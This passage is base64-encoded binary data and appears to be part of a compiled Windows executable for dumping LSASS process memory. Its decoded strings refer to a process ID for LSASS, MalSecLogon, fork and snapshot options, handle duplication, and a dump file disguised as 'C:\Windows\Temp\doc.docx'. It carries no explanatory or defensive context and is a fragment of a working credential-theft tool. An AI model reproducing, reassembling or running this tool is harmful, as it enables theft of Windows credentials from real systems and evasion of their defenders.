gALS1oZWxwAGludmFsaWQgYXJndW1lbnQ6ICVzAElmIE1hbFNlY0xvZ29uIGlzIGJlaW5nIHVzZWQgbG9jYWxseSwgeW91IG5lZWQgdG8gcHJvdmlkZSB0aGUgZnVsbCBwYXRoOiAlcwAAAAAAVGhlIG9wdGlvbnMgLS1mb3JrIGFuZCAtLXNuYXBzaG90IGNhbm5vdCBiZSB1c2VkIGF0IHRoZSBzYW1lIHRpbWUATFNBU1MgUElEOiAlbGQAAAAAAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAAAAAAAElmIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uIGFyZSB1c2VkLCB5b3UgbmVlZCB0byBwcm92aWRlIGEgYmluYXJ5IHdpdGggLS1iaW5hcnkAVGhlIG9wdGlvbiAtLWJpbmFyeSBjYW4gb25seSBiZSB1c2VkIHdpdGggLS1tYWxzZWNsb2dvbiBhbmQgLS1kdXAAAAAAAAAAAAAAAAAAAABQkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAUABAAAACKABQAEAAADsbwFAAQAAADiQAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVbmtub3duIGVycm9yAAAAQXJndW1lbnQgZG9tYWluIGVycm9yIChET01BSU4pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFBhcnRpYWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFBMT1NTKQAAAABUb3RhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoVExPU1MpAAAAAAAAVGhlIHJlc3VsdCBpcyB0b28gc21hbGwgdG8gYmUgcmVwcmVzZW50ZWQgKFVOREVSRkxPVykAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAAAAAAAAAF9tYXRoZXJyKCk6ICVzIGluICVzKCVnLCAlZykgIChyZXR2YWw9JWcpCgAAeHT//yx0///Ec///THT//1x0//9sdP//PHT//01pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgAAAAAAQWRkcmVzcyAlcCBoYXMgbm8gaW1hZ2Utc2VjdGlvbgAgIFZpcnR1YWxRdWVyeSBmYWlsZWQgZm9yICVkIGJ5dGVzIGF0IGFkZHJlc3MgJXAAAAAAAAAAACAgVmlydHVhbFByb3RlY3QgZmFpbGVkIHdpdGggY29kZSAweCV4AAAgIFVua25vd24gcHNldWRvIHJlbG9jYXRpb24gcHJvdG9jb2wgdmVyc2lvbiAlZC4KAAAAAAAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAAAAAACVkIGJpdCBwc2V1ZG8gcmVsb2NhdGlvbiBhdCAlcCBvdXQgb2YgcmFuZ2UsIHRhcmdldGluZyAlcCwgeWllbGRpbmcgdGhlIHZhbHVlICVwLgoAAAAAAACgef//oHn//6B5//+gef//oHn//wh5//+gef//0Hn//wh5//8zef//AAAAAAAAAAAobnVsbCkAACgAbgB1AGwAbAApAAAATmFOAEluZgAAAF6k//+Inf//iJ3//3ik//+Inf//gKP//4id//+Xo///iJ3//4id//8MpP//SKT//4id//+aof//s6H//4id///Pof//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//+yh//+Inf//oKL//4id///Yov//EKP//0ij//+Inf//VaD//4id//+Inf//RaH//4id//+Inf//iJ3//4id//+Inf//iJ3//9uk//+Inf//iJ3//4id//+Inf//AJ7//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//gp///4id////nv//eJ7//32g///VoP//DaH//7Wg//94nv//YJ7//4id//9cof//fKH//0Sf//8Anv//FaD//4id//+Inf//057//2Ce//8Anv//iJ3//4id//8Anv//iJ3//2Ce//8AAAAASW5maW5pdHkATmFOADAAAAAAAAAAAPg/YUNvY6eH0j+zyGCLKIrGP/t5n1ATRNM/BPp9nRYtlDwyWkdVE0TTPwAAAAAAAPA/AAAAAAAAJEAAAAAAAAAIQAAAAAAAABxAAAAAAAAAFEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAZAAAAfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8D8AAAAAAAAkQAAAAAAAAFlAAAAAAABAj0AAAAAAAIjDQAAAAAAAavhAAAAAAICELkEAAAAA0BJjQQAAAACE15dBAAAAAGXNzUEAAAAgX6ACQgAAAOh2SDdCAAAAopQabUIAAEDlnDCiQgAAkB7EvNZCAAA0JvVrDEMAgOA3ecNBQwCg2IVXNHZDAMhOZ23Bq0MAPZFg5FjhQ0CMtXgdrxVEUO/i1uQaS0SS1U0Gz/CARAAAAAAAAAAAvInYl7LSnDwzp6jVI/ZJOT2n9ET9D6UynZeMzwi6WyVDb6xkKAbICgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACA4Dd5w0FDF24FtbW4k0b1+T/pA084TTIdMPlId4JaPL9zf91PFXUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAFAAQAAAAAAAAAAAAAAQAABQAEAAAAAAAAAAAAAAOD3AEABAAAAAAAAAAAAAACQKwFAAQAAAAAAAAAAAAAAkCsBQAEAAAAAAAAAAAAAAOAcAUABAAAAAAAAAAAAAAAAAABAAQAAAAAAAAAAAAAABIMBQAEAAAAAAAAAAAAAACSDAUABAAAAAAAAAAAAAAA8gwFAAQAAAAAAAAAAAAAATIMBQAEAAAAAAAAAAAAAAABwAUABAAAAAAAAAAAAAADobwFAAQAAAAAAAAAAAAAA5G8BQAEAAAAAAAAAAAAAAOBvAUABAAAAAAAAAAAAAABAcAFAAQAAAAAAAAAAAAAAsG8BQAEAAAAAAAAAAAAAALhvAUABAAAAAAAAAAAAAABgIgFAAQAAAAAAAAAAAAAAAJABQAEAAAAAAAAAAAAAABCQAUABAAAAAAAAAAAAAAAYkAFAAQAAAAAAAAAAAAAAKJABQAEAAAAAAAAAAAAAAPBvAUABAAAAAAAAAAAAAADAbwFAAQAAAAAAAAAAAAAAMHABQAEAAAAAAAAAAAAAAICYAEABAAAAAAAAAAAAAADwkQBAAQAAAAAAAAAAAAAA0G8BQAEAAAAAAAAAAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDMyNAAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMzI0AAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAzMjQAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDMyNAAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMzI0AAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAzMjQAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDMyNAAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMzI0AAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAzMjQAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDMyNAAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAzMjQAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAxMTMAAAAAR0NDOiAoR05VKSAxMC13aW4zMiAyMDIyMDExMwAAAABHQ0M6IChHTlUpIDEwLXdpbjMyIDIwMjIwMTEzAAAAAEdDQzogKEdOVSkgMTAtd2luMzIgMjAyMjAzMjQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAABEAAAAEABABAQAAAuEQAABEABADARAAB5EQAADEABAIARAACmFAAAFEABALAUAADNFAAAKEABANAUAADtFAAASEABAPAUAAAJFQAAaEABABAVAAAcFQAAcEABACAVAAAhFQAAdEABADAVAAC6FQAAeEABALoVAABlFgAAhEABAGUWAADxFwAAkEABAPEXAADHGQAAoEABAMcZAAAaGwAArEABACAbAAA/GwAAuEABAD8bAACCGwAAxEABAIIbAAAVHAAA0EABABUcAAAaHQAA3EABABodAABZHQAA6EABAFkdAADJHwAA9EABAMkfAAA7IQAABEEBADshAABIIgAAFEEBAEgiAAAMJAAAJEEBAAwkAABzJAAANEEBAHMkAAAgJQAAQEEBACAlAAB7JQAATEEBAHslAACKJQAAWEEBAIolAAD1JQAAYEEBAPUlAABmJwAAbEEBAGYnAAChJwAAeEEBAKEnAADbKAAAhEEBANsoAACaKQAAkEEBAJopAACAKgAAnEEBAIAqAADZKgAAqEEBANkqAABTKwAAtEEBAFMrAACjKwAAwEEBALArAADzKwAAzEEBAPMrAAB2LAAA2EEBAHYsAAD8LAAA5EEBAPwsAACrLQAA8EEBAKstAADxLgAA/EEBAPEuAAACMAAACEIBAAIwAABLMAAAFEIBAEswAACRMQAAIEIBAJExAABNMgAALEIBAE0yAABFMwAAOEIBAEUzAAC6NgAAREIBALo2AAB4NwAAUEIBAHg3AAClOAAAXEIBAKU4AAArOQAAaEIBADA5AABzOQAAdEIBAHM5AAD8OQAAgEIBAPw5AABwOwAAjEIBAHA7AABWPAAAmEIBAFY8AAAIPQAApEIBAAg9AAC6PwAAsEIBAMA/AADJPwAAvEIBAMk/AAD8QAAAwEIBAPxAAABaQQAAzEIBAFpBAADTRQAA2EIBANNFAAAvRgAA6EIBAC9GAACdRgAA9EIBAJ1GAACoRgAAAEMBAKhGAACwRgAABEMBALBGAAAKRwAACEMBAApHAABkRwAADEMBAGRHAAC7RwAAEEMBALtHAAASSAAAFEMBABJIAABsSAAAGEMBAGxIAADGSAAAHEMBAMZIAAAdSQAAIEMBAB1JAAB0SQAAJEMBAHRJAADLSQAAKEMBAMtJAAAiSgAALEMBACJKAAB8SgAAMEMBAHxKAADTSgAANEMBANNKAAAtSwAAOEMBAC1LAACESwAAPEMBAIRLAADeSwAAQEMBAN5LAAA1TAAAREMBADVMAACMTAAASEMBAIxMAADjTAAATEMBAONMAAA6TQAAUEMBADpNAACRTQAAVEMBAJFNAADoTQAAWEMBAOhNAAA/TgAAXEMBAD9OAACWTgAAYEMBAJZOAADwTgAAZEMBAPBOAABKTwAAaEMBAEpPAACkTwAAbEMBAKRPAAD+TwAAcEMBAP5PAABYUAAAdEMBAFhQAACvUAAAeEMBAK9QAAAGUQAAfEMBAAZRAABdUQAAgEMBAF1RAAC3UQAAhEMBAMBRAAADUgAAiEMBAANSAABAUgAAlEMBAEBSAABmUwAAoEMBAGZTAACuVgAArEMBALBWAADzVgAAvEMBAPNWAABPWQAAyEMBAE9ZAAC1WQAA1EMBALVZAABeWwAA4EMBAF5bAADzWwAA7EMBAPNbAAB5XAAA+EMBAHlcAADEXAAABEQBAMRcAAAbXgAAEEQBABteAAD9YgAAHEQBAP1iAAB5YwAAKEQBAIBjAADDYwAANEQBAMNjAAAMZAAAQEQBAAxkAAABZQAATEQBAAFlAAB3ZgAAWEQBAHdmAAAAZwAAZEQBAABnAAABaAAAcEQBAAFoAAChawAAfEQBAKFrAADscgAAiEQBAOxyAABYcwAAmEQBAFhzAACYdQAApEQBAJh1AAC3eAAAsEQBALd4AACJeQAAvEQBAJB5AADTeQAAyEQBANN5AAA4fgAA1EQBADh+AAAxkAAA4EQBAECQAAB6kAAA9EQBAICQAADqkAAA/EQBAPCQAAAPkQAACEUBABCRAAATkQAADEUBACCRAABPkQAAEEUBAFCRAADRkQAAGEUBAOCRAADjkQAAJEUBAPCRAADokgAAKEUBAPCSAADzkgAAQEUBAACTAABqkwAAREUBAHCTAADSlAAAUEUBAOCUAAAUmAAAXEUBACCYAABhmAAAdEUBAHCYAAB8mAAAfEUBAICYAAA6mgAAgEUBAECaAACrmgAAiEUBALCaAAAomwAAmEUBADCbAAC5mwAApEUBAMCbAACinAAArEUBALCcAADcnAAAtEUBAOCcAAAvnQAAuEUBADCdAADPnQAAvEUBANCdAABIngAAyEUBAFCeAACJngAAzEUBAJCeAAD7ngAA0EUBAACfAAA2nwAA1EUBAECfAADHnwAA2EUBANCfAACOoAAA3EUBANCgAAD3oAAA4EUBAAChAABHoQAA5EUBAFChAABBogAA8EUBAFCiAACnogAA+EUBALCiAAAIpAAAAEYBABCkAABApQAAFEYBAEClAACHpQAAIEYBAJClAAA9pgAALEYBAECmAABxqwAANEYBAICrAAAUrwAATEYBACCvAACAsAAAZEYBAICwAAAitAAAeEYBADC0AAAQtQAAiEYBABC1AACwtQAAlEYBALC1AACQtgAAoEYBAJC2AAAAuAAArEYBAAC4AAA6vAAAuEYBAEC8AABuxwAAzEYBAHDHAACnxwAA5EYBALDHAAAsyAAA7EYBADDIAABMyAAA+EYBAFDIAADGyQAA/EYBANDJAADX4AAAFEcBAODgAADV4QAAMEcBAODhAAAj4gAAQEcBADDiAAAM4wAAREcBABDjAABS4wAAUEcBAGDjAABS5AAAWEcBAGDkAADE5AAAZEcBANDkAAB95QAAbEcBAIDlAAA95gAAfEcBAEDmAACZ5wAAhEcBAKDnAACg6QAAnEcBAKDpAACu6gAAsEcBALDqAAAA6wAAxEcBAADrAADF7AAAyEcBANDsAADo7QAA2EcBAPDtAAD57gAA4EcBAADvAAAq7wAA7EcBADDvAABY7wAA8EcBAGDvAABr7wAA9EcBAHDvAAB77wAA+EcBAIDvAACL7wAA/EcBAJDvAAD37wAAAEgBAADwAABg8AAACEgBAGDwAABo8AAAEEgBAHDwAAB78AAAFEgBAIDwAACf8AAAGEgBAKDwAAAp8QAAIEgBADDxAABx8QAAKEgBAIDxAAB28gAANEgBAIDyAAD98wAASEgBAAD0AABo9AAAVEgBAHD0AAB19QAAZEgBAID1AADa9QAAeEgBAND3AADV9wAAiEgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQQBAARCAAABBAEABGIAAAEPCAAPARMACDAHYAZwBVAEwALQCQQBAARCAADg9QAAAQAAALQUAADHFAAAgJgAAMcUAAAJBAEABEIAAOD1AAABAAAA1BQAAOcUAACAmAAA5xQAAAEEAQAEQgAAAQAAAAEAAAABCAMFCDIEAwFQAAABCAMFCLIEAwFQAAABEQWFEQMJAW0AAnABUAAAAQgDBQjyBAMBUAAAAQgDBQjyBAMBUAAAAQgDBQgyBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQgSBAMBUAAAARAEhRADCAFGAAFQAQgDBQgyBAMBUAAAAREFxREDCQEZAAIwAVAAAAERBbURAwkBFwACMAFQAAABEQWFEQMJAVEAAnABUAAAAREFhREDCQFbAAJwAVAAAAEIAwUIcgQDAVAAAAEIAwUIcgQDAVAAAAEIAwUIcgQDAVAAAAEEAgUEAwFQAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQsEJQsDBkICMAFQAQsERQsDBoICMAFQAQgDBQhSBAMBUAAAAQgDBQjSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQiSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhyBAMBUAAAAQgDBQjSBAMBUAAAAQsENQsDBmICMAFQAQgDBQgSBAMBUAAAAQgDBQhyBAMBUAAAAQsERQsDBoICMAFQAQgDBQhyBAMBUAAAAQsEBQsBFAAEAwFQAQgDBQjyBAMBUAAAAQgDBQiSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQjSBAMBUAAAAQgDBQiyBAMBUAAAAQgDBQhyBAMBUAAAAQgDBQhyBAMBUAAAARAEhRADCAFyAAFQAQAAAAEIAwUIkgQDAVAAAAEIAwUIEgQDAVAAAAERBeURAwkBHQACMAFQAAABCAMFCFIEAwFQAAABCAMFCFIEAwFQAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQsERQsDBoICMAFQAREFhREDCQERAAIwAVAAAAEIAwUIUgQDAVAAAAEIAwUIkgQDAVAAAAEIAwUIUgQDAVAAAAEQBIUQAwgBiAABUAEIAwUIMgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIkgQDAVAAAAEQBIUQAwgBpgABUAEIAwUIcgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUI0gQDAVAAAAELBDULAwZiAjABUAEIAwUIsgQDAVAAAAELBAULARwABAMBUAERBYURAwkBOwACcAFQAAABCAMFCBIEAwFQAAABCwQFCwEUAAQDAVABCwR1CwMG4gIwAVABCAMFCFIEAwFQAAABCAMFCFIEAwFQAAABCA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IAggVTbGVlcAClBVRsc0dldFZhbHVlANQFVmlydHVhbFByb3RlY3QAANYFVmlydHVhbFF1ZXJ5AAALBldpZGVDaGFyVG9NdWx0aUJ5dGUAOABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAQABfX19sY19jb2RlcGFnZV9mdW5jAEMAX19fbWJfY3VyX21heF9mdW5jAABSAF9fZ2V0bWFpbmFyZ3MAUwBfX2luaXRlbnYAVABfX2lvYl9mdW5jAABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAABsBX2luaXR0ZXJtAIEBX2xvY2sAJwJfb25leGl0ALICX3RpbWU2NADHAl91bmxvY2sACANfd2NzaWNtcAAAhQNhYm9ydACSA2F0b2kAAJYDY2FsbG9jAACjA2V4aXQAALcDZnByaW50ZgC5A2ZwdXRjAL4DZnJlZQAAywNmd3JpdGUAAPQDbG9jYWxlY29udgAA+gNtYWxsb2MAAP0DbWJzdG93Y3MAAAEEbWVtY21wAAACBG1lbWNweQAABARtZW1zZXQAABYEcmFuZAAAIgRzaWduYWwAACsEc3JhbmQANwRzdHJlcnJvcgAAOQRzdHJsZW4AADwEc3RybmNtcAA9BHN0cm5jcHkAQARzdHJyY2hyAEEEc3Ryc3BuAABeBHZmcHJpbnRmAAB4BHdjc2xlbgAAeQR3Y3NuY2F0AHwEd2NzbmNweQCDBHdjc3N0cgAAAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAEtFUk5FTDMyLmRsbAAAAAAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMB